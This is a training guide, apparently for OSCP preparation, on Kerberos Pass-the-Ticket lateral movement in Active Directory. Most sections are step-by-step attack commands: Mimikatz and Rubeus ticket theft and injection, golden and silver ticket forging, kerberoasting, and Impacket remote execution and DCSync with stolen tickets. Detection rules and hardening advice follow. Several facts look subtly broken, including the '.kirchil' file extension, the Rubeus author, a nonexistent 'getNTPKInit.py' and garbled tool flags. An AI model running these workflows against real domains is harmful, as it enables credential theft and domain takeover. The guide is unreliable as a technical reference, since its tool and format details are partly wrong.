Domain 6Active Directory AttacksCORE

Pass-the-Ticket Lateral Movement

Comprehensive guide to Pass-the-Ticket lateral movement, covering Kerberos ticket types, authentication flow, ticket extraction and injection with Mimikatz and Rubeus, cross-platform ticket usage, and detection strategies.

Domain: Domain 6: Active Directory Exploitation•Updated: 2026-09-01
#pass-the-ticket#kerberos#tgt#tgs#rubeus

Pass-the-Ticket Lateral Movement

Table of Contents

  1. Kerberos Fundamentals
  2. Kerberos Ticket Types
  3. Kerberos Authentication Flow
  4. How Pass-the-Ticket Works
  5. Extracting Tickets with Mimikatz
  6. Injecting Tickets with Mimikatz
  7. Using Rubeus for Ticket Operations
  8. Using Kerberos Tickets from Kali
  9. Ticket Conversion: .kirchil to .ccache
  10. Detection Indicators
  11. Mitigation Strategies
  12. OSCP Exam Tips

1. Kerberos Fundamentals

1.1 What Is Kerberos?

Kerberos is a network authentication protocol developed by MIT and adopted by Microsoft as the default authentication mechanism for Active Directory. Unlike NTLM’s direct challenge-response, Kerberos uses a ticket-based system with a central Key Distribution Center (KDC).

Why Kerberos Matters for Lateral Movement:

  • Default authentication protocol in AD domains
  • Tickets can be extracted, reused, and manipulated
  • More powerful than NTLM in many scenarios
  • Required when NTLM is disabled
  • Enables advanced attacks (Golden Ticket, Silver Ticket, Kerberoasting)

1.2 Kerberos Architecture

┌─────────────────────────────────────────────────────────────┐
│                    KERBEROS ARCHITECTURE                     │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  ┌──────────┐     ┌──────────────────────┐     ┌─────────┐ │
│  │  CLIENT   │     │     DOMAIN CTRL      │     │  SERVER  │ │
│  │ (User)    │     │     (KDC)            │     │ (Service)│ │
│  └────┬─────┘     └──────┬───────┬───────┘     └────┬────┘ │
│       │                  │ AS      │ TGS             │      │
│       │  AS-REQ          │ Service │ Service         │      │
│       │─────────────────→│         │         ┌───────┤      │
│       │  AS-REP (TGT)    │         │         │       │      │
│       │←─────────────────│         │         │       │      │
│       │                  │         │         │       │      │
│       │  TGS-REQ (TGT)   │         │         │       │      │
│       │────────────────────────→│         │         │       │      │
│       │                  │         │ Service │       │      │
│       │  TGS-REP (TGS)   │         │ Ticket  │       │      │
│       │←─────────────────────────│         │         │       │      │
│       │                  │         │         │       │      │
│       │  TGS + Auth      │         │         │       │      │
│       │──────────────────────────────────────→│       │      │
│       │                  │         │         │       │      │
│       │  Access Granted  │         │         │       │      │
│       │←──────────────────────────────────────│       │      │
│       │                  │         │         │       │      │
│  └──────────┘     └──────────────────────┘     └─────────┘ │
│                                                             │
│  AS = Authentication Service    Port 88 (TCP/UDP)          │
│  TGS = Ticket Granting Service  Port 88 (TCP/UDP)          │
│                                                             │
└─────────────────────────────────────────────────────────────┘

2. Kerberos Ticket Types

2.1 Ticket Overview

Ticket Type Full Name Purpose Lifetime
TGT Ticket Granting Ticket Request service tickets (TGS) 10 hours (default)
TGS Ticket Granting Service Access specific services 10 hours (default)
Service Ticket Service Ticket Access a specific service on a specific server 10 hours (default)

2.2 TGT (Ticket Granting Ticket)

The Master Key of Kerberos:

TGT Structure:
┌─────────────────────────────────────────┐
│              TGT                         │
├─────────────────────────────────────────┤
│ Client Principal: user@DOMAIN           │
│ Server Principal: krbtgt/DOMAIN@DOMAIN  │
│ Start Time: 2026-09-01 10:00:00        │
│ End Time:   2026-09-01 20:00:00        │
│ Renew Till: 2026-09-08 10:00:00        │
│ Session Key: [encrypted key]            │
│ Flags: forwardable, renewable           │
│ Encrypted with: krbtgt account key     │
└─────────────────────────────────────────┘

Key Properties:

  • Encrypted with the krbtgt/DOMAIN account password hash
  • Allows the user to request any TGS ticket
  • Valid for the TGT lifetime (default 10 hours)
  • Can be renewed until “Renew Till” time (default 1 week)
  • A TGT is equivalent to having the user’s password for Kerberos purposes

2.3 TGS (Ticket Granting Service) / Service Ticket

TGS Structure:
┌─────────────────────────────────────────┐
│           SERVICE TICKET                │
├─────────────────────────────────────────┤
│ Client Principal: user@DOMAIN           │
│ Server Principal: cifs/SERVER@DOMAIN    │
│ Start Time: 2026-09-01 10:05:00        │
│ End Time:   2026-09-01 20:05:00        │
│ Session Key: [encrypted key]            │
│ Flags: forwardable                      │
│ Encrypted with: Server's SPN key       │
└─────────────────────────────────────────┘

Common Service Principals (SPNs):

SPN Service Port
cifs/SERVER SMB / File Sharing 445
host/SERVER Generic host service -
ldap/DC LDAP Directory Service 389/636
rpc/DC RPC Service 135
HTTP/SERVER Web Service 80/443
MSSQLSvc/SERVER SQL Server 1433
wsman/SERVER WinRM 5985/5986
RestrictedKrbHost/SERVER Restricted Kerberos -

2.4 Ticket Comparison

Property TGT TGS / Service Ticket
Server krbtgt/DOMAIN@DOMAIN Specific service (e.g., cifs/SERVER@DOMAIN)
Scope Domain-wide Single service on single server
Power Can request any TGS Access to one specific service
Encryption Key krbtgt account hash Service account / computer account hash
PtT Value Extremely high High (service-specific)
Lifetime 10 hours + renewable 10 hours

3. Kerberos Authentication Flow

3.1 Complete Authentication Flow

┌──────────────────────────────────────────────────────────────────────────┐
│                   KERBEROS AUTHENTICATION FLOW                            │
├──────────────────────────────────────────────────────────────────────────┤
│                                                                          │
│  PHASE 1: AS-REQ / AS-REP (Get TGT)                                     │
│  ─────────────────────────────────────────                               │
│                                                                          │
│  Client                                    KDC (AS Service)              │
│  ──────                                    ──────────────                │
│                                                                          │
│  1. AS-REQ ──────────────────────────────────────────────────────────→   │
│     ┌─────────────────────────────────────────────────────────────┐      │
│     │ Principal: user@DOMAIN                                      │      │
│     │ Realm: DOMAIN                                               │      │
│     │ Timestamp: current_time                                     │      │
│     │ Encryption: User's password-derived key                     │      │
│     └─────────────────────────────────────────────────────────────┘      │
│                                                                          │
│  2. AS-REP ←─────────────────────────────────────────────────────────    │
│     ┌─────────────────────────────────────────────────────────────┐      │
│     │ a) TGT (encrypted with krbtgt key) ──→ stored in client    │      │
│     │ b) Session Key (encrypted with user's key) ──→ for TGT     │      │
│     └─────────────────────────────────────────────────────────────┘      │
│                                                                          │
│  PHASE 2: TGS-REQ / TGS-REP (Get Service Ticket)                        │
│  ─────────────────────────────────────────────────────────────────────── │
│                                                                          │
│  Client                                    KDC (TGS Service)             │
│  ──────                                    ────────────────              │
│                                                                          │
│  3. TGS-REQ ─────────────────────────────────────────────────────────→  │
│     ┌─────────────────────────────────────────────────────────────┐      │
│     │ TGT (from AS-REP)                                          │      │
│     │ Authenticator (encrypted with session key)                 │      │
│     │ Service requested: cifs/TARGET_SERVER@DOMAIN               │      │
│     └─────────────────────────────────────────────────────────────┘      │
│                                                                          │
│  4. TGS-REP ←───────────────────────────────────────────────────────     │
│     ┌─────────────────────────────────────────────────────────────┐      │
│     │ a) Service Ticket (encrypted with server's key)            │      │
│     │ b) Session Key (encrypted with TGT session key)            │      │
│     └─────────────────────────────────────────────────────────────┘      │
│                                                                          │
│  PHASE 3: Service Authentication                                         │
│  ─────────────────────────────────────────────────────────────────────── │
│                                                                          │
│  Client                                    Target Server                 │
│  ──────                                    ──────────────                │
│                                                                          │
│  5. Service Request ──────────────────────────────────────────────────→  │
│     ┌─────────────────────────────────────────────────────────────┐      │
│     │ Service Ticket (from TGS-REP)                              │      │
│     │ Authenticator (encrypted with session key)                 │      │
│     └─────────────────────────────────────────────────────────────┘      │
│                                                                          │
│  6. Server decrypts ticket with its own key                              │
│     Verifies authenticator                                                │
│     Grants access if valid                                                │
│                                                                          │
│  7. Success Response ←────────────────────────────────────────────────   │
│                                                                          │
└──────────────────────────────────────────────────────────────────────────┘

3.2 Key Exchange Summary

Step    Message     Encrypted With              Contains
────    ───────     ──────────────              ────────
1       AS-REQ      User's password key         Username, timestamp
2       AS-REP      krbtgt key + user key       TGT + session key
3       TGS-REQ     TGT session key             TGT + service request
4       TGS-REP     Server key + TGT sess key   Service ticket + session key
5       SVC REQ     Service session key          Service ticket + authenticator

4. How Pass-the-Ticket Works

4.1 The Core Concept

Pass-the-Ticket (PtT) involves extracting Kerberos tickets from memory and injecting them into a new session to authenticate as the ticket’s owner.

Why PtT Is Powerful:

  1. No password needed: The ticket itself is the credential
  2. Works in Kerberos-only environments: Where PtH fails
  3. TGT = domain access: A TGT grants access to any service the user can reach
  4. Elevated tickets: Domain Admin TGTs grant domain-wide access
  5. Forged tickets: Golden/Silver tickets can be created without any legitimate credential

4.2 PtT vs. PtH

Aspect Pass-the-Hash Pass-the-Ticket
Credential NTLM Hash Kerberos Ticket (TGT/TGS)
Protocol NTLM Kerberos
Works in NTLM-only Yes No
Works in Kerberos-only No Yes
Extraction LSASS memory (MSV package) LSASS memory (Kerberos package)
Injection Use hash directly in auth Inject ticket into session
Detection Event 4648 Event 4624 (LogonType 9)
Forging possible No Yes (Golden/Silver tickets)

4.3 PtT Attack Flow

┌─────────────────────────────────────────────────────────────┐
│              PASS-THE-TICKET ATTACK FLOW                    │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. COMPROMISE a machine with target user logged in        │
│                                                             │
│  2. EXTRACT tickets from LSASS memory                      │
│     mimikatz # kerberos::list /export                       │
│     → .kirchil files in current directory                   │
│                                                             │
│  3. IDENTIFY valuable tickets                              │
│     - TGT for high-privilege user                           │
│     - TGS for specific service access                       │
│                                                             │
│  4. INJECT ticket into current session                     │
│     mimikatz # kerberos::ptt TGT_USER_krbtgt_....kirchil   │
│                                                             │
│  5. LATERAL MOVEMENT using injected ticket                 │
│     klist → verify ticket is in session                     │
│     dir \\\\TARGET\\C$ → access remote share                 │
│     psexec \\\\TARGET → remote execution                    │
│                                                             │
│  6. (Optional) CONVERT for cross-platform use              │
│     .kirchil → .ccache for Linux/Kali tools                 │
│                                                             │
└─────────────────────────────────────────────────────────────┘

5. Extracting Tickets with Mimikatz

5.1 List Current Tickets

# Start Mimikatz
mimikatz.exe

# Enable privilege
mimikatz # privilege::debug

# List all Kerberos tickets in current session
mimikatz # kerberos::list

# Output example:
#    0:     User                   : DOMAIN\username
#           Service                : krbtgt/DOMAIN.LOCAL
#           sname                  : DOMAIN.LOCAL\krbtgt
#           Start/End/MaxRenew     : ...
#           Session key type       : aes256-cts-hmac-sha1-96
#           Ticket epoch           : ...
#           Cache                  : primary
#           Lifetime               : ...
#           Flags                  : forwardable, initial, pre_auth

5.2 Export All Tickets

# Export all tickets to .kirchil files
mimikatz # kerberos::export

# Export with specific format
mimikatz # kerberos::list /export

# Tickets saved as:
# TGT_USERNAME_krbtgt_DOMAIN_....kirchil
# TGS_USERNAME_cifs_SERVER_....kirchil

5.3 Extract Specific Tickets

# Export only TGTs
mimikatz # kerberos::export /service:krbtgt

# Export tickets for specific user
mimikatz # kerberos::export /user:username

# Export tickets for specific service
mimikatz # kerberos::export /service:cifs

# List and export in one command
mimikatz # kerberos::list /export

5.4 Ticket File Format

.kirchil files are Mimikatz's proprietary Kerberos ticket format.

File naming convention:
TGT_<USER>_<SERVICE>_<DOMAIN>_<ID>.kirchil

Examples:
TGT_admin_krbtgt_DOMAIN.LOCAL_390458820.kirchil
TGS_admin_cifs_FILESERVER$@DOMAIN.LOCAL_390458821.kirchil

6. Injecting Tickets with Mimikatz

6.1 Pass-the-Ticket Injection

# Inject a specific ticket
mimikatz # kerberos::ptt TGT_admin_krbtgt_DOMAIN_390458820.kirchil

# Inject all exported tickets
mimikatz # kerberos::ptt *.kirchil

# Verify injection with klist
klist
# Should show the injected tickets in the current session

# Verify with Mimikatz
mimikatz # kerberos::list
# Should show the injected tickets

6.2 Post-Injection Verification

# Check injected tickets
klist tickets

# Check current identity
whoami
whoami /priv

# Test access to remote resource
dir \\TARGET\C$
dir \\TARGET\C$\Windows\System32

# Test remote execution
psexec \\TARGET cmd

6.3 PtT Workflow — Complete Example

# Step 1: Extract tickets
mimikatz # privilege::debug
mimikatz # kerberos::list /export

# Step 2: Identify the TGT
# Look for: TGT_<highprivuser>_krbtgt_<DOMAIN>

# Step 3: Inject the TGT
mimikatz # kerberos::ptt TGT_domainadmin_krbtgt_DOMAIN.LOCAL_123456789.kirchil

# Step 4: Verify
klist
whoami

# Step 5: Lateral movement
dir \\DC01\C$
psexec \\DC01 cmd

# Step 6: From the DC, you can now:
# - Dump NTDS.dit
# - Create Golden Tickets
# - DCSync
# - Full domain control

7. Using Rubeus for Ticket Operations

7.1 What Is Rubeus?

Rubeus is a C# tool by thehackerrecruit specialized in Kerberos attacks. It is more feature-rich than Mimikatz for Kerberos-specific operations.

Key Advantages:

  • No debug privilege required for many operations
  • Reflective loading (no disk write)
  • Rich Kerberos attack features
  • Better ticket manipulation capabilities

7.2 Rubeus Basic Commands

# List tickets (triage)
Rubeus.exe triage

# Output example:
#   Id: 0
#   Package    : aes256-cts-hmac-sha1-96
#   User       : DOMAIN\username
#   Service    : krbtgt/DOMAIN.LOCAL
#   Started    : 2026-09-01 10:00:00
#   Ends       : 2026-09-01 20:00:00
#   Renew Till : 2026-09-08 10:00:00
#   Flags      : name_canonicalize, pre_auth, initial, forwardable

# Dump all tickets
Rubeus.exe dump

# Dump specific ticket by ID
Rubeus.exe dump /id:0

# Dump and export to file
Rubeus.exe dump /service:cifs /outfile:tickets.kirchil

7.3 Rubeus Pass-the-Ticket

# Pass-the-Ticket using base64-encoded ticket
Rubeus.exe ptt /ticket:doIYnDYIABOkGyq...

# Pass-the-Ticket from file
Rubeus.exe ptt /ticket:ticket.kirchil

# Inject and spawn new process
Rubeus.exe ptt /ticket:BASE64TICKET /nowrap

# Check current tickets after injection
Rubeus.exe triage

7.4 Rubeus Advanced Operations

# Kerberoasting - request TGS for service accounts
Rubeus.exe kerberoast /format:hashcat /outfile:kerberoast.txt

# Kerberoasting with specific SPN
Rubeus.exe kerberoast /spn:MSSQLSvc/SERVER:1433

# AS-REP Roasting
Rubeus.exe asreproast /format:hashcat /outfile:asreproast.txt

# Golden Ticket creation
Rubeus.exe golden /user:admin /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH

# Silver Ticket creation
Rubeus.exe silver /user:admin /domain:domain.local /sid:S-1-5-21-... /rc4:HASH /service:cifs/SERVER

# Renovation (extend ticket lifetime)
Rubeus.exe renew /id:0

# Delegation attack
Rubeus.exe delegate /user:admin /domain:domain.local /rc4:HASH

7.5 Rubeus vs. Mimikatz for Kerberos

Feature Mimikatz Rubeus
Ticket listing kerberos::list triage
Ticket export kerberos::export dump
PtT injection kerberos::ptt ptt
Golden Ticket kerberos::golden golden
Silver Ticket kerberos::silver silver
Kerberoasting Limited Excellent
AS-REP Roasting Limited Excellent
Debug privilege Required Not always needed
Reflective load No Yes
Ease of use Moderate Easy for Kerberos

8. Using Kerberos Tickets from Kali

8.1 KRB5CCNAME Environment Variable

On Linux/Kali, Kerberos tickets are stored in credential caches. The KRB5CCNAME environment variable points to the current cache file.

# Set the credential cache
export KRB5CCNAME=/path/to/ticket.ccache

# Check current tickets
klist

# Check cache location
echo $KRB5CCNAME

# Default cache locations:
# /tmp/krb5cc_<UID>
# ~/.cache/krb5cc/<UID>

8.2 Using Tickets with Impacket

# Set the credential cache
export KRB5CCNAME=/root/tickets/domain.ccache

# Use Kerberos authentication with psexec
psexec.py -no-pass -k DOMAIN/username@TARGET_IP

# WMI with Kerberos
wmiexec.py -no-pass -k DOMAIN/username@TARGET_IP

# SMBExec with Kerberos
smbexec.py -no-pass -k DOMAIN/username@TARGET_IP

# Secrets dump with Kerberos
secretsdump.py -no-pass -k DOMAIN/username@DC_IP

# Get user info with Kerberos
getusers.py -no-pass -k DOMAIN/username@DC_IP

8.3 Using Tickets with Other Tools

# Get TGT using gettgtpkinit.py (with hash)
gettgtpkinit.py -hashes :NTLM_HASH DOMAIN/username@DC_IP domain.ccache

# Use the ccache
export KRB5CCNAME=domain.ccache
psexec.py -no-pass -k DOMAIN/username@TARGET

# Request TGS for specific service
getNTPKInit.py DOMAIN/username@DC_IP -service cifs/TARGET -key KEY -request

# Impacket's ticketer.py - create tickets
ticketer.py -domain-sid SID -domain DOMAIN -user-user username -machine machine cifs/TARGET ticket.ccache
export KRB5CCNAME=ticket.ccache
psexec.py -no-pass -k DOMAIN/username@TARGET

8.4 Kerberos Authentication from Kali — Full Workflow

# Step 1: Obtain a .ccache ticket (from conversion or extraction)
# Assume we have: domain_admin.ccache

# Step 2: Set the environment variable
export KRB5CCNAME=/root/tickets/domain_admin.ccache

# Step 3: Verify the ticket
klist
# Should show:
# Ticket cache: FILE:/root/tickets/domain_admin.ccache
# Default principal: domain_admin@DOMAIN.LOCAL
#
# Valid starting     Expires            Service principal
# 09/01/2026 10:00   09/01/2026 20:00  krbtgt/DOMAIN.LOCAL@DOMAIN.LOCAL

# Step 4: Use with Impacket
psexec.py -no-pass -k DOMAIN/domain_admin@TARGET_IP

# Step 5: DCSync from Kali
secretsdump.py -no-pass -k DOMAIN/domain_admin@DC_IP

9. Ticket Conversion: .kirchil to .ccache

9.1 Why Convert?

Format Platform Tool
.kirchil Windows Mimikatz, Rubeus
.ccache Linux/Kali Impacket, klist, MIT Kerberos utils

Conversion enables cross-platform ticket usage — extract on Windows, use from Kali.

9.2 Using ticket_converter.py

# Convert .kirchil to .ccache
python ticket_converter.py ticket.kirchil ticket.ccache

# Convert .ccache to .kirchil
python ticket_converter.py ticket.ccache ticket.kirchil

# Batch convert all .kirchil files
for f in *.kirchil; do python ticket_converter.py "$f" "${f%.kirchil}.ccache"; done

9.3 Complete Cross-Platform Workflow

┌─────────────────────────────────────────────────────────────┐
│           CROSS-PLATFORM TICKET WORKFLOW                    │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  ON WINDOWS (Compromised Host):                             │
│  ─────────────────────────────────                          │
│  1. mimikatz # kerberos::list /export                       │
│     → Creates .kirchil files                                │
│                                                             │
│  2. Exfiltrate .kirchil files to Kali                       │
│     (download via SMB, HTTP, etc.)                          │
│                                                             │
│  ON KALI:                                                   │
│  ─────────────────────────────────                          │
│  3. python ticket_converter.py TGT_....kirchil ticket.ccache│
│                                                             │
│  4. export KRB5CCNAME=./ticket.ccache                       │
│                                                             │
│  5. klist (verify ticket)                                   │
│                                                             │
│  6. psexec.py -no-pass -k DOMAIN/user@TARGET                │
│                                                             │
└─────────────────────────────────────────────────────────────┘

9.4 Alternative Conversion Methods

# Method 1: Using secretsdump.py to create ccache directly
# From a TGT hash, create a ccache
python ticketer.py -domain-sid S-1-5-21-XXX -domain DOMAIN.LOCAL \
  -user-user administrator -machine DC01 \
  cifs/FILESERVER fileserver.ccache

# Method 2: Using gettgtpkinit.py
gettgtpkinit.py -hashes :HASH DOMAIN/admin@DC_IP admin.ccache
export KRB5CCNAME=admin.ccache

# Method 3: Using Impacket's getST.py (request service ticket)
getST.py -dc-ip DC_IP -spn cifs/TARGET DOMAIN/admin -hashes :HASH
export KRB5CCNAME=admin@cifs@TARGET.ccache

10. Detection Indicators

10.1 Windows Event IDs for PtT Detection

Event ID Description PtT Relevance
4624 Successful logon LogonType 9 (NewCredentials) = PtT indicator
4625 Failed logon Failed ticket presentation
4768 Kerberos TGT requested Unusual TGT requests
4769 Kerberos service ticket requested Unusual service ticket patterns
4771 Kerberos pre-authentication failed Ticket manipulation attempts
4772 Kerberos service ticket request failed Invalid ticket presentation
4672 Special privileges assigned Admin ticket injection

10.2 Key Detection Patterns

Pattern 1: LogonType 9 — New Credentials

Event ID: 4624
Logon Type: 9 (NewCredentials)
Authentication Package: Kerberos
Account Name: domain_admin

LogonType 9 indicates a process created a new logon session
with different credentials — typical of PtT injection via
mimikatz::ptt or runas /netonly.

Pattern 2: TGT Request Anomalies

Event ID: 4768
Ticket Encryption Type: aes256-cts-hmac-sha1-96
Client Name: user@DOMAIN
Service SID: krbtgt/DOMAIN@DOMAIN

Unusual patterns:
- TGT request from unexpected workstation
- TGT request for disabled account
- TGT request during off-hours
- Multiple TGT requests in short timeframe

Pattern 3: Service Ticket Anomalies

Event ID: 4769
Service Name: cifs/FILESERVER$
Client Name: user@DOMAIN
Ticket Encryption Type: rc4-hmac

Red flags:
- rc4-hmac encryption (weak, often indicates forged ticket)
- Service ticket for account that shouldn't access that service
- Ticket from unexpected source machine

10.3 Rubeus Detection

Rubeus operations can be detected by:

1. Process creation:
   Event ID 4688: Rubeus.exe process created

2. Reflective loading evasion:
   - No file on disk if reflectively loaded
   - Monitor for suspicious .NET process injection

3. Network indicators:
   - Unusual Kerberos traffic patterns (port 88)
   - TGS requests for many services (kerberoasting)

11. Mitigation Strategies

11.1 Preventing Ticket Extraction

Mitigation Description Implementation
Credential Guard VBS-protected credential storage GPO → Device Security → Credential Guard
LSA Protection RunAsPPL for LSASS Registry: RunAsPPL=1
Restrict Admin Access Limit who can access LSASS Least privilege, UAC
Application Control Block Mimikatz/Rubeus AppLocker, WDAC
Endpoint Detection Detect extraction tools EDR solutions

11.2 Preventing Ticket Abuse

Mitigation Description Implementation
Reduce TGT lifetime Shorter ticket validity KDC policy: max ticket lifetime
Strong encryption Require AES, disable RC4 KDC policy: encryption types
Account lockout Lock after failed attempts AD policy: account lockout threshold
Monitor Kerberos events Alert on anomalies SIEM rules for 4768, 4769, 4771
PAC validation Validate Privilege Attribute Certificate Default on modern Windows
Resource-based constrained delegation Limit delegation abuse AD delegation settings

11.3 Kerberos Hardening GPO

Computer Configuration → Policies → Windows Settings
→ Security Settings → Local Policies → Security Options

Network security: Configure encryption types allowed for Kerberos
  → AES-128/256 Hash (disable RC4)

Network security: Minimum session security for SMB
  → Require 128-bit encryption

Domain Controller: LDAP server signing requirements
  → Require signing

Kerberos ticket lifetime:
  → Reduce to 4 hours (from default 10)

11.4 Detection Rules

Rule 1: PtT Detection via LogonType 9
IF EventID=4624 AND LogonType=9
AND AuthenticationPackage="Kerberos"
THEN Alert: "Possible Pass-the-Ticket"

Rule 2: Golden Ticket Detection
IF EventID=4768
AND TicketEncryptionType="rc4-hmac"
AND StartTime is very old (start time < 1 hour from ticket creation)
THEN Alert: "Possible Golden Ticket"

Rule 3: Unusual Service Ticket Request
IF EventID=4769
AND ClientName NOT IN (normal_users_for_service)
THEN Alert: "Unusual Kerberos service ticket request"

Rule 4: Off-Hours Kerberos Activity
IF EventID=4768 OR EventID=4769
AND Time NOT BETWEEN 07:00 AND 19:00
THEN Alert: "Off-hours Kerberos activity"

12. OSCP Exam Tips

12.1 PtT Quick Reference

# On Windows - Extract and Inject
mimikatz # privilege::debug
mimikatz # kerberos::list /export
mimikatz # kerberos::ptt TGT_HIGHPRIV_krbtgt_....kirchil
klist  # Verify
whoami  # Check identity

# On Kali - Use ccache
export KRB5CCNAME=/path/to/ticket.ccache
klist  # Verify
psexec.py -no-pass -k DOMAIN/user@TARGET

12.2 Common Exam Scenarios

Scenario Solution
You have a Domain Admin’s machine Extract TGT with Mimikatz, inject, access DC
NTLM is disabled on target Use Kerberos ticket instead of hash
You find a .ccache file Set KRB5CCNAME, use with Impacket
You find a .kirchil file Use Mimikatz ptt or convert to .ccache
You need to reach a specific service Extract TGS for that service, inject it
Kerberoasting opportunity Use Rubeus to request and crack TGS tickets

12.3 Troubleshooting PtT

Problem Cause Fix
klist shows no tickets Injection failed Verify .kirchil file is valid, retry ptt
Access denied after PtT Ticket expired or wrong user Check ticket lifetime, verify principal
psexec.py -k fails KRB5CCNAME not set export KRB5CCNAME=/path/to/file.ccache
Cannot convert .kirchil ticket_converter.py missing Download from Impacket or use secretsdump
Rubeus triage shows nothing No tickets in current session Check different user context, use /domain flag
Golden ticket rejected SID mismatch or wrong krbtgt hash Verify domain SID and krbtgt hash

12.4 Essential PtT Commands

# Mimikatz PtT workflow
privilege::debug
kerberos::list                    # Check current tickets
kerberos::list /export            # Export all tickets
kerberos::ptt TGT_....kirchil    # Inject TGT
kerberos::list                    # Verify injection
# Kali Kerberos workflow
export KRB5CCNAME=/path/to/ticket.ccache
klist                             # Verify ticket
psexec.py -no-pass -k DOMAIN/user@TARGET
wmiexec.py -no-pass -k DOMAIN/user@TARGET
secretsdump.py -no-pass -k DOMAIN/user@DC

# Convert ticket
python ticket_converter.py ticket.kirchil ticket.ccache

# Create TGT from hash
gettgtpkinit.py -hashes :HASH DOMAIN/user@DC ticket.ccache
export KRB5CCNAME=ticket.ccache

12.5 Important Reminders

  1. TGT is king: A Domain Admin’s TGT gives you the entire domain
  2. Check klist after injection: Always verify the ticket is in your session
  3. Ticket lifetime matters: Expired tickets won’t work — check expiration
  4. Cross-platform conversion: Use ticket_converter.py to move between Windows and Kali
  5. Rubeus is powerful: Master Rubeus for Kerberos attacks — it’s often easier than Mimikatz
  6. KRB5CCNAME is key: On Kali, this environment variable controls which ticket cache is used
  7. Document ticket sources: Note where each ticket came from for your report

Summary

Pass-the-Ticket is the Kerberos equivalent of Pass-the-Hash and is essential for environments where NTLM is restricted. Key takeaways:

  1. TGT = Domain Access: A TGT for a privileged user grants access to all services they can reach
  2. Mimikatz and Rubeus are the primary Windows tools for ticket operations
  3. KRB5CCNAME enables cross-platform ticket usage from Kali
  4. ticket_converter.py bridges Windows (.kirchil) and Linux (.ccache) formats
  5. LogonType 9 in Event ID 4624 is the primary PtT detection indicator
  6. Credential Guard and LSA Protection defend against ticket extraction
  7. Kerberos hardening (AES-only, reduced lifetimes) limits ticket abuse

Master both PtH and PtT — together they cover all authentication-based lateral movement scenarios in Active Directory. In OSCP exams, being able to switch between hash-based and ticket-based attacks is crucial for overcoming defensive configurations.